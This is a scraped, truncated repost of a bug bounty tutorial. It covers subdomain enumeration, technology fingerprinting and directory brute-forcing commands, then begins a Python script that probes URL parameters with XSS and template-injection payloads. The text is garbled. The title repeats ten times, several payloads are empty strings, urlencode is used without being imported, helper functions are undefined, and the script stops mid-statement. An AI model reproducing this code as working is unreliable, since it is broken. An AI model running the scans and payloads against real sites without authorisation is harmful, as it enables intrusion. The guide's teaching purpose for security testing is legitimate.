This article was originally published on AI Study Room. For the full version with working code examples and related articles, visit the original post.

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Bug Bounty Guide

Introduction

Bug bounty programs invite security researchers to find and report vulnerabilities in exchange for monetary rewards or acknowledgment. They represent a paradigm shift from traditional security testing — continuous, crowd-sourced, and performance-based. Success requires methodical technique, clear communication, and platform-specific knowledge.

Finding Vulnerabilities

Reconnaissance-Driven Approach

Successful bug bounty hunters invest heavily in reconnaissance. The more you know about a target, the more attack surface you can discover.

Subdomain enumeration pipeline

subfinder -d target.com -silent | tee subs_raw.txt

assetfinder --subs-only target.com | tee -a subs_raw.txt

Deduplicate and validate

cat subs_raw.txt | sort -u | httprobe -c 50 > live_subs.txt

Technology fingerprinting on discovered subdomains

cat live_subs.txt | httpx -sc -title -tech-detect -o tech_report.txt

Directory brute-forcing

ffuf -u https://admin.target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt \

-ac -t 100 -o admin_fuzz.json

Attack-Specific Techniques

Automated XSS discovery

import requests

from urllib.parse import urljoin, urlparse, parse_qs

def hunt_xss(base_url):

payloads = [

'',

'">',

'javascript:alert(1)',

'">',

'{{constructor.constructor("alert(1)")()}}', # SSTI-based XSS

]

Extract all forms

response = requests.get(base_url)

Parse and find all forms, inputs

for endpoint in discover_endpoints(base_url):

params = extract_params(endpoint)

for param in params:

for payload in payloads:

test_url = endpoint.replace(

f'{param}={params[param]}',

f'{param}={urlencode(payload)}'

)

resp = requests.get(test_url)

if payload in resp.text and not resp.text.count('"') > 3:

---

Read the full article on AI Study Room for complete code examples, comparison tables, and related resources.

Found this useful? Check out more developer guides and tool comparisons on AI Study Room.